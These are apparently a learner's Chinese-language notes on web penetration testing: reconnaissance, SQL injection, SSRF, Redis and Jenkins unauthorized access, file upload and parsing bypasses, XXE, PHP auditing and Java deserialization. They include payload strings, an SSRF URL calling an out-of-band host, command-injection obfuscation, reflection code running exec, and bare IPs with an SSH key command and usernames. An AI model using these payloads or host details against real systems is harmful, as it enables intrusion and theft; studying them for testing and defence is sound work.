PTES
渗透测试分类:
操作系统、数据库、前后端语言、各种网络设备
渗透测试流程:
- 情报搜集、信息收集
- 威胁建模、制定方案
- 漏洞挖掘、漏洞利用
- 漏洞攻击、渗透测试
- 权限提升、内网渗透
- 后渗透
渗透测试手段:
- 漏洞扫描 穷举检查 模糊测试
-> POC: proof of concept - 木马攻击
- 社会工程 社工搜集数据
-> 欺骗的艺术 - 应用安全性测试
-> 代码检查、输入检查、Cookie - 无线网络的渗透测试
- DDOS
黑盒测试:对目标系统一无所知
白盒测试:可获取资料或代码
灰盒测试:介于两者之间
优秀的渗透测试:
- 选择足够的测试集
-> 整理自己的漏洞库
-> 收集漏洞的文章和复现 - 不是猜谜游戏,需要规划、条理
=====================================
信息收集:
- whois ip sub dns cdn
- os webserver 服务 程序 各类指纹
漏洞挖掘:
- web 应用
查找特殊子域名
使用针对性的工具网站扫描 cms识别
根据信息查找源码分析 - xss csrf ssrf crlf xsio sql注入
权限绕过 任意文件读取 反序列化 鉴权失效 - 上传漏洞 - 截断 修改
- 爆破
权限提升:
- os -> exp
win ->
linux ->
linux exploit suggester
unix privesec check - 数据库 第三方组件提权
- exploit-db 1337day
Web 服务组件
静态层, 前端框架, 跨站脚本攻击
脚本层, Web 应用/开发框架/后端语言, 远程命令执行
服务层, Web 容器(Nginx等), 远程溢出 DOS
数据层, 数据库 内存 文件, SQL 注入
系统层, OS, OS执行 缓冲区溢出
安全策略 和 浏览器特性
X-Frame-Options
Referer
Cookie
等请求头
CSP 内容安全策略 及其指令
OWSAP Top 10
https://github.com/OWASP/www-chapter-china-mainland
=====================================
Kali tools
enum4linux, hping3, masscan, nikto, nmap, sublist3r,
exploitdb, linux exploit suggester, beff, armitage,
routersploit, msf, setoolkit, sqlmap, burp suite,
wpscan, wfuzz, websploit, owasp zap, w3af, gobuster,
recon-ng, netdiscover, shodan, dirb, curl, wordlists,
Nishang, dns2tp, wenshelld, hydra, apktools, impacket,
locate
WEB SEC
信息收集
系统配置、whois、主机IP、公司人员、安全防御、防火墙 等等
网站与服务器信息:iis, asp, phpstudy 多种多样的指纹
搜索引擎:google baidu bing hack,fofa/shodan/zoomeye
社会工程学:
分析网站架构:fuzz 测试 网站指纹
主动信息收集:有流量 无法隐匿自己
被动信息收集:操控一类网站 设备 等用于分析
子域名发现:各种爆破 censys 搜索引擎 dns 证书
fierce、sublist3r/subdomainbrute/layer/gobuster
Google Dorks
通过 banner 指纹定位 漏洞信息
网站的 banner
port 服务探测 banner
社工库:
OSINT:个人信息 社交网站 招聘网站 新闻报道 等等
分析网站架构:
隐藏链接、注释、JS
web 架构 指纹
命名规则推测
目录 文件 的 fuzz 暴力探测
错误码分析
http 响应头分析
cdn:
偏远地区 多地测试 dns解析记录 ssrf 边缘资产
信息内容丰富的地方:
网盘搜索、代码仓库、泄露的数据库
代码泄露:
https://searchcode.com
github gitlab gitee google
subdomain takeover: dns 子域接管
xray.cool : 扫描 爆破
nbtscan / cobalt strike: 内网探测
CredNinja : 提权 横向拓展
src: 偏向资产脆弱性,赏金的规则,熟悉业务逻辑
-> 系统化挖掘:全面深入收集资产
-> 明确业务数据:业务 数据 应用 工程 API
-> 细致到位:测试每一个业务,每一个校验,每一个授权
红蓝:
信息泄露
phpinfo thinkphp 宝塔 探针
web目录备份文件 压缩包文件
版本管理工具
github 等 代码泄露:svn 代码泄露检测、Githack
robots.txt 暴露
编辑器备份:vim .swp .bak .swo 文件
JS 文件 接口等 敏感信息泄露
Github 泄露:
账号 密码 人员 代码 等等 一切皆有可能
数据库配置 邮件 各类配置
=>>> searchsploit
工具
Nmap:
Nessus: web漏洞扫描神器
AWVS: 前五的类爬扫描
OpenVAS
Cobalt Strike: win渗透
SQLMap
Burp Suite: Intruder
Metasploit
AppScan:
https://www.chaitin.cn/zh/products
攻 洞鉴:X-ray 扫描
防 雷池、谛听
查 牧云:CloudWalker webshell查杀
抓
靶场
部署 DVWA
https://www.jianshu.com/p/e72d4ba03a46
MariaDB 重置密码 https://stackoverflow.com/a/65697219
墨攻:https://en.fofa.info/result?qbase64=ZmlkPSJDMFJqTnh5eEFOeHR1ZlkvSHNkeVh3PT0i
Vulhub:https://github.com/vulhub/vulhub
玄鸾安全靶场 https://xuanluansec.top/
武器库:https://www.77169.net/html/263147.html
华云英格 http://njhack.xyz/
靶场导航 https://mynav.ev1l0o4g.xyz/
OWASP: https://github.com/webpwnized/mutillidae
bWApp http://5.161.228.6/bWAPP/portal.php bee:bug
N1Book 靶场 https://book.nu1l.com/tasks/#/
VulStudy http://43.143.135.128/
VulFocus https://fofapro.github.io/vulfocus/#/
国光ssrf https://github.com/sqlsec/ssrf-vuls
ctf
https://www.vulnhub.com/entry/breach-1,152/
https://duncan.deltoros.net/articles/2016-09/vulnhub-breach-1
https://www.cnblogs.com/yuzly/p/10973319.html
SQL
safe3wvs, webcruiser, appscan, awvs, x-ray
漏洞挖掘:
数字型
‘, 返回错误
v-0, v*1, v/1, 返回相同结果
1 or 1=1, 1)or(1=1, 永真
v or 1=2, v)or(1=2 空条件,返回相同结果
1 and 1=2, 1) and (1=2, 永假
1 or ‘ab’=’a’+’b’, 1) or (‘ab’=’a’+’b’, sql server 串联
1 or ‘ab’=’a’ ‘b’, 1) or (‘ab’=’a’ ‘b’, mysql 串联
1 or ‘ab’=’a’||’b’, …, orcale 串联
字符型:
数字与数字比较:和数学一致
数字和字符比较:’41abc’>40 -> True; ‘abc’=0 -> True
字符与字符比较:挨个比较
注释: –: 单行注释 通用; **\ #
UNION 查询
MySQL 延迟注入,页面返回时间来判断,>=5.0 sleep(); <5.0 benchmark()
二阶注入:恶意代码被注入到数据库,在被检索时构建 sql 执行
CSRF
跨站伪造:one click attack / session riding
用户在不登出本网站的时候访问了其他站点,会携带 cookie
靶场:https://www.vulnhub.com/entry/csrf-minefield-1,316/
XSS
beef-xss 、 xsser 、 带外 XSS
WebRTC 内网扫描
靶场:dvwa、xsslabs
SSRF
Build Your SSRF Exploit Framework - RingZero(猪猪侠)
file 协议,dict 协议
- /?url=http://localhost/serverstatus
- /?url=http://127.0.0.1:port
- /?url=http://ip/latest/meta-data
- /?url=file:///etc/passwd
- /?url=dict://localhost:11211/data
触发点:Web,请求,格式处理,数据库,广义 ssrf
所有 前端交互后端完成请求任务 的都是重灾区:
图片加载,下载服务,预览内容,代理服务,文件包含,RSS
多媒体加载,Api 接口,站长工具,中间件,
网站分享,收藏,WebHook,网站扫描,
数据库:连接,复制,执行命令
在线编程:很多函数都可以造成 SSRF 并且黑名单难防
常见关键词:share/url/src/link/source/u/display/domain
用法:
- 探测内网:构造一个内网的扫描器
- 使用其他协议获取敏感信息
- 控制服务器漫游内网
防御手段:对输入做合法验证;网络限制;黑白名单;DNS限制;
绕过手段:https://hammerking.top/index.php/archives/603/
地址转为 0b 0o 0 0x:
127.0.0.1=>0x7F000001
使用特殊字符:#&@ CRLF 等拆分
www.baidu.com@127.0.0.1:7001 == 127.0.0.1:7001
利用 302/301:跳转到 gopher 协议上
使用 gopher 协议发送 GET POST 请求
覆盖硬编码:&host=xxx
特殊协议:gopher/file/dict/ftp/sftp/tftp/ldap/
特殊内容:xml,图片,
DNS 特性:xip.io/xip.name 解析时自动去掉
封闭式字母数字代替ip中的数字:ⓢⓢⓡⓕ.ⓒⓞⓜ == ssrf.com
解析 URL 方式不同而绕过 readfile: ip:11211:80 / a.com#@b.com
直接使用 Socket 连接
FastCGI 等
fuzz:
内网段 192.168 172.16-19 10
常见端口:
Redis 实例,未授权漏洞利用实例,web shell
Discuz 3.2X SSRF+Redis:
?mod=ajax&action=downremoteimg&message=[img]http://4v0vuct7rolm4qpng064ft4il9r0fq3f.oastify.com/123.img[/img]&formhash=
WriteUp: https://phyzxeno.github.io/2017/03/30/ssrf/
练习:自己挖一个,电报上的 RSS 机器人,没挖到
垃圾靶场浪费我的人生!!!!!!!!!!!!!!!!
未授权访问
缺乏认证机制或者授权页面配置不当
Redis
6379 bind:0.0.0.0:6379
/var/lib/redis -> dump.rdb
save 命令保存到硬盘上 落地操作
写 ssh pub key
写 webshell
写计划任务
反弹 shell
Jenkins
CI/CD 工具:持续开发
是通过 ssh 公钥来推送到其他机器
Ansible:也是公钥登录
可以执行脚本命令行
Rsync
873 数据同步,默认允许匿名访问
尝试:上传/反弹 webshell;查看任意文件;
同步关键文件如 crontab 文件
配置:host allow + 文件账号密码
ZooKeeper
默认 2181 默认无需任何身份验证
nc ip 2181 -> stat
获取环境变量 敏感信息
https://zookeeper.apache.org/doc/r3.8.1/zookeeperCLI.html
其他服务未授权漏洞:
MongoDB/Memcached/JBOSS/VNC/Docker/Atlassian Crowd
CouchDB/Elasticsearch/Hadoop/Jupyter Notebook 等等
任务:
收集常见的服务的默认端口
收集各类服务的未授权访问漏洞
https://xz.aliyun.com/t/9488
198.46.158.116:8808
https://www.jenkins.io/doc/book/managing/script-console/
println(“”.execute().text)
ssh -i ~/.ssh/fr_jenk.priv jenkins@162.19.76.41
34.90.164.32 jovyan jupyterhub
目录遍历
任意文件下载和任意目录穿越 => 高危
遇到上传点 getshell xss
尽可能的发现方法风险性和脆弱性
尽可能的去渗透去尝试去测试
Apache: Index Of
IIS: web.config -> 配置
nginx: 修改可上传来留后门
文件包含
通过 PHP 函数 比如 include 引入文件
文件名没有经过合理的校验 导致文件泄露或代码注入
要求:用户可以控制动态变量,Include 通过动态变量的方式引入包含文件
require 立即调用,会报错
include 运行到才调用,仅提醒
dig 文件传送
反弹 shell:https://xz.aliyun.com/t/9488
远程代码执行漏洞:用户提交的数据被服务器引擎当作系统语句片段
RCE:
eval 复制操作 a=1;phpinfo();
{${phpinfo()}}; 可优先执行
可配合反序列化漏洞
练习:ca$*t$IFS/key.p$@hp l$*s$IFS-al$IFS/www
ca$@t$IFS/www/admin/exec1.njhack.xyz_80/wwwroot/key.p$@hp
文件上传
未对上传文件做严格验证和过滤
触发点:上传点,管理器,HTTP
类型:任意上传、js验证、文件头 MIME 扩展名 文件加载 检测、条件竞争
前端处理:
multipart/form-data 格式 boundary
application 媒体格式:octet-stream/x-www-form-urlencoded
记住常见的上传格式名称和编码方法
后端处理:
校验文件类型 大小 对文件重新编码 隔离用户上传文件
getimagesize() 函数
马场:可被解析但有大量无效内容,存在一个被解析了,竞争漏洞
一直发流量,导致某个删除慢了,导致条件竞争
前端绕过:改包,noscript,改js
后端绕过:
MIME 扩展名 文件头 => 文件中间插入 php
IIS: xxx.jsp/xxx.jpg xxx.jsp;.jpg .asa cer cdx
Apache: 从右向左判断/ .php.jpg / x-httpd-php -> .php.jpg
nginx: 00 截断、fix_pathinfo、
win: ::$DATA / 末尾加. :后省略 xx. .
截断上传:%00 / [\0] / %09%0A
黑白名单限制:
array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.swf”,”.htaccess”,”.ini”);
Apache .htaccess 添加解析规则 作用域当前及子目录
<FilesMatch “shell.png$”>
SetHandler application/x-httpd-php
AddHandler xxxx
.user.ini : 自 PHP 5.3.0 起,类 .htaccess
解析漏洞
直接解析:没防御或前端防御
配合解析:上传木马图片与解析漏洞配合
搜索 Apache Nginx ISS 解析漏洞有哪些 编辑器漏洞
Apache:
- x1.x2.x3 尝试解析 x3 失败则解析 x2 然后 x1
- 配置文件 AddHandler SetHandler
IIS:
- x.asp/xxx x.asp;xxx xxx/xxx.php 类似 nginx IIS<7/7.5
- 目录包含 .asp 整个目录都被解析为 asp IIS<=6.0
Nginx:
- 对任意文件名后面添加 /xxx.php
- %00 截断 nginx<5.3.4
- php-cgi 默认配置漏洞 fix_pathinfo
- nginx 配置不当导致漏洞
- fastcgi 未授权访问
修复:
上传目录不可执行,白名单,确定文件类型,随机文件名
单独服务器存放文件服务器
XML/XXE
XML: 可扩展标记语言,标记电子文件,传输存储数据
必须存在根元素,大小写敏感,必须嵌套,属性加引号
引入实体: &name;
注释:
https://www.w3schools.com/xml/default.asp
DTD: 文档类型定义,定义 XML 文档的合法构建模块
PCDATA: 会被解析,CDATA: 不会被解析
实体:用于定义引用,
外部实体:
XPATH:查找信息,导航
XML 外部实体注入:XXE
在能够插入 XML 的位置构造更多,可能为被过滤而被解析
能做的事情:任意文件读取,列目录,执行命令,内网端口探测
文件上传,攻击内网(SSRF),DDOS 等等
- file 协议读文件
- % 实体名称 参数实体
- dtd 自身支持调用外部 DTD 文件 外部实体
拒绝服务:递归调用
无回显:OOB
案例:1. 搭建可访问的 DTD 2. 构造攻击请求,接受返回内容
xxe 结合 expect:// 执行命令 php
脚本默认支持的外部实体协议:
libxml2:file:// http:// ftp://
php: file http ftp php compress.zlib data glob phar…
java: file http https ftp jar netdoc mailto gopher
.net: file http ftp https
https://github.com/payloadbox/xxe-injection-payload-list
https://github.com/TheTwitchy/xxer
json -> xml 尝试可行性,改头
XPATH 注入:解析器松散输入和容错,获得面案信息或更改权限
类似 sql 注入,如构造:admin' or '1'='1
防御:输入合法性校验
xls/xlsx 解压之后 workbook Content_type 文件
xxe payload/fuzz
逻辑漏洞
逻辑不严谨或太复杂,分支不能正常或错误处理
非常隐蔽但危害很大
绕过功能限制、遍历、越权、弱口令、信息泄露、密码重置、竞争
特定场景下特定逻辑:支付安全,验证码安全
- 发现功能模块:改密码,改资料,付款,购物流程等
- 针对业务流程,划分步骤:购物为例
- 拦截请求,分析参数
- 修改参数,尝试触发
生活中限制绕过:
- 身份识别绕过:门禁、保险、人脸识别、登陆密码、看门狗
- 付费识别绕过:点餐小票,支付凭证,地铁闸机、年费会员
- 顺序限制“号码牌,预约短信、九连环、栈和队列、象棋规则
- 行为限制:法律,烟雾报警,围墙,屏风,足球规则
绕过方式:
伪造、伪装、重用、劫持、嵌套、并行、外带
暴力枚举、条件竞争、状态还原、另辟蹊径、局部宏观、博弈、修改限制
突破限制案例:
- 突破一张优惠券限制
- 突破网银交易限额
- 突破某游戏出牌规则限制,打出违规牌面
绕过授权:
- 水平越权:权限类型不变,权限ID改变
- 垂直越权:权限ID不变,权限类型改变
- 交叉越权:改变ID,也改变权限
两个账号,分别抓包,替换参数,是否成功
两个账号 cookie 交换,判断越权,分析越权成因参数
利用幽灵用户注册,使用其权限
猜测密码,推导编辑权限
审计网络上排名前几的业务逻辑代码
尝试为每个业务绘制业务逻辑图
找回密码:给别人找回密码
- 尝试正常流程,选择不同找回方式,记录所有数据包
- 分析数据包,找到敏感部分
- 分析后台找回机制,猜测所用的验证手段
- 修改数据包验证推测
支付逻辑:
- 支付过程中可以修改数据包
- 购买数量的负数限制
- 请求重放
案例:
溢出:价格、余额、数量、正数负数
精度问题:四舍五入、向上向下取整、保留精度
负数问题:数量 价格 等
条件竞争:缺少锁或同步,抢购 转账
参数修改:各类参数修改 分期/时间/ 等等
支付接口:替换返回状态 订单仿冒 修改支付金额、收款人 自定义支付接口
重放攻击:
内容安全:
账户体系安全:
PHP 代码审计
测试必不可少,突破测试瓶颈,参与众测
能够梳理功能点,找到敏感点,理解设计模式
审计工具:
PHPStorm PHPDbg PHPMyAdmin VM burp
PHPStudy Seay
Xdebug:调试工具,单步调试,广泛支持 IDE
手工调试:var_dump
上下文: get_defined_functions/vars/contants
get_include_files get_loaded_extensions
get_declared_classes get_declared_interfaces
调用: debug_backtrace debug_print_backtrace
Xdebug: xdebug_call_file/line/function
xdebug_dump_superglobals/get_monitored_functions
运行模式 SAPI:
CLI/CGI/build-in/isapi/swoole/php_mod/fpm(fastcgi)
build-in webserver: php -S localhost:9090
安全配置:
magic_quotes_gpc: php<5.4
extract: 用户传入变量自动释放到上下文
register_global: 4.2后false,相当于自动 extract
allow_url_include: false
allow_url_fopen: true
request_order: 5.3 GPC->GP
short_open_tag: 短标签 5.4+ =...?>总会执行
safe_mode: 5.4-
open_basedir:
disable_funtions/classes: 限制运行某些函数
enable_dl: 5.2+ false 可以通过 dl 加载
危险函数:
include/require/include_once/require_once/sql_autoload
eval/assert/preg_replace/create_function
system/passthru/exec/shell_exec/popen/proc_open/pcntl_exec/dl/``
file_get_contents/fread/readfile/file/highlight_file/show_source
file_put_contents/fwrite/mkdir/fputs
unlink/rmdir
move_uploaded_file/copy/rename
curl_exec/file_get_contents/readfile/fopen
extract/parse_str/$$
simplexml_load_file/simplexml_load_string/SimpleXMLElemet/DOMDocument/xml_parse
var_dump/print_r/exit/die
unserialze
urldecode/iconv/mb_convert_encoding/stripslashes/base64_decode/substr
关注所有用户可控的参数
https://github.com/bowu678/php_bugs
SQL 注入
审计流程:
0. 自动化审计工具
- 反向审计流程:从危险函数开始回溯可控变量
- 正向:MVC 从控制器找 URL 派发规则,跟踪控制器调用
- 双向查找:略读了解架构,全局过滤/绕过/遗漏
连接方式:mysqli/pdo
过滤方式:参数化查询 预编译(结构固定)
intval / addslashes / mysql_read_escape
mysqli_(read_)escape_string/myqli::escape_string/pdo::quote
绕过方式:
绕过转义:利用 base64/decode 等 没有引号 宽字节
寻找过滤无效点:
开发者遗漏点:HTTP头 Cookie PHP_SELF REQUEST_URI $_FILES[][] php://input
header 发送头之后解析器继续运行
任意文件操作
所有和文件相关的操作:
文件包含:include/require/include_once/require_once/sql_autoload
文件读取:file_get_contents/fread/readfile/file/highlight_file/show_source
文件写入:file_put_contents/fwrite/mkdir/fputs
文件删除:unlink/rmdir
文件上传:move_uploaded_file/copy/rename
文件上传漏洞:前端验证、MIME、未重命名 等
文件包含漏洞:可被包含的文件 后缀无法控制 截断 协议
文件删除漏洞:删.lock重装、删配置文件等
命令执行 RCE
system/passthru/exec/shell_exec/popen/proc_open/pcntl_exec/dl/``
对用户输入过滤不严格,拼接到了系统命令中
图片处理:GD/ImageMagick
防御:– escapeshellcmd escapeshellarg 用户输入放入值的位置而非键值对
XML实体注入:libxml2.9.0+ 默认关闭,近乎绝迹
前端漏洞
XSS CSRF Jsonp
寻找xss:fuzz 富文本xss
csrf: referer token
jsonp:
反序列化
反序列化执行触发任意代码 -> py
反序列化后通过代码链执行 -> php/java
php: (un)serialize: __wakeup __destruct __tostring
小技巧
快速找到漏洞:双向
存在防御:根据规范的防御判断,能否找到绕过方式
现代框架:默认安全 很难的了 如何突破:
- 寻找框架本身的漏洞 Slime3 xxe
- 寻找不规范的开发方式 Edusoho sql
- 寻找错误的配置
- 异常的利用 Edusoho 任意用户密码泄露
- 第三方服务的利用 Discuz 有条件RCE
- spl_autoload phpwind get型CSRF 命名空间和win目录结构
- 压缩炸弹 构造畸形压缩包 phpcms 头像上传导致任意文件上传
阻止压缩时的文件检查 解压失败后出错后会停止运行 webshell保留
使用 ../ 绕过当前目录递归删除
软连接文件未过滤 可保留在压缩包中 - 条件竞争 并发状态 进程与线程
上传后删除的利用:删除掉文件前访问webshell写入新的webshell
忘记上锁的数据库:并发 判断余额>价格 余额变负 购买多个商品
鸡肋文件包含利用:phpinfo->临时文件名,包含文件生成新 webshell
脑洞要大 举一反三 通用思路 多看文档
反序列化
理解 分析 调试 反射 Gadget
fastjson shiro weblogic dubbo hession log4j
准备多版本 JDK 8 + Tomcat
序列化与反序列化:
ObjectOutputStream ObjectInputStream
Serializable readObject() writeObject() 无需重写
java.io.Externalizable writeExternal() readExternal()
反序列化时检查 serialVersionUID
transient 修饰的成员变量不会被序列化
magic header: aced straem version: 0005
010 / SerializationDumper
通过恶意构造输入,让反序列化产生非预期的对象
Gadget 调用链 构造利用链 -> sink
https://github.com/frohoff/ysoserial
注意利用链需要的 JDK 版本
https://tttang.com/archive/1337
反射:运行中对任意类,能够知道所有属性和方法
对任意对象,能够调用方法和属性
Class类/Field类/Method类/Constructor类
获取Class类:使用隐含静态成员class,new -> getClass,Class.forName()
常用方法:
获取类:forName, getClass
获取类下的函数:getMethod(s) getDeclaredMethod(s)
执行类下的函数:invoke
获取类构造函数:getConstructor(s) getDeclaredConstructor(s)
实例化类的对象:newInstance
命令执行的写法:Runtime.getRuntime().exec(“calc”)
Constructor constructor = Runtime.class.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtime = constructor.newInstance();
((Runtime)runtime).exec(“calc”);
Class clazz = Class.forName(“java.lang.Runtime”);
Conctructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod(“exec”, String.class).invoke(m.newInstance(), “calc”);
Class.forName(“java.lang.ProcessBuilder”).getMethod(“start”).invoke(Class.forName(“java.lang.ProcessBuilder”)).getConstructor(List.class).newInstance(Arrays.asList(“clac”))
调用链:没理解
手动触发:LazyMap.get()
自动触发:TiedMapEntry HashTable.hashCode
漏洞案例
Shiro 尝试从 Cookie[rememberMe] 中解析 principal
getRememberedSerializedIdentity
https://xz.aliyun.com/t/11633
rememberMe=deleteMe; AlliN2
没有出网没有 DNS 延时探测 => 连不上就卡住/key错了卡不住
防御:hook resolveClass/SerialKiller/黑白名单
触发场景:请求参数,RMI协议,JMX,自定义协议
https://xz.aliyun.com/t/7079
关系拓扑图中找到脆弱资产
banner header title 绘制雷达图 寻找脆弱资产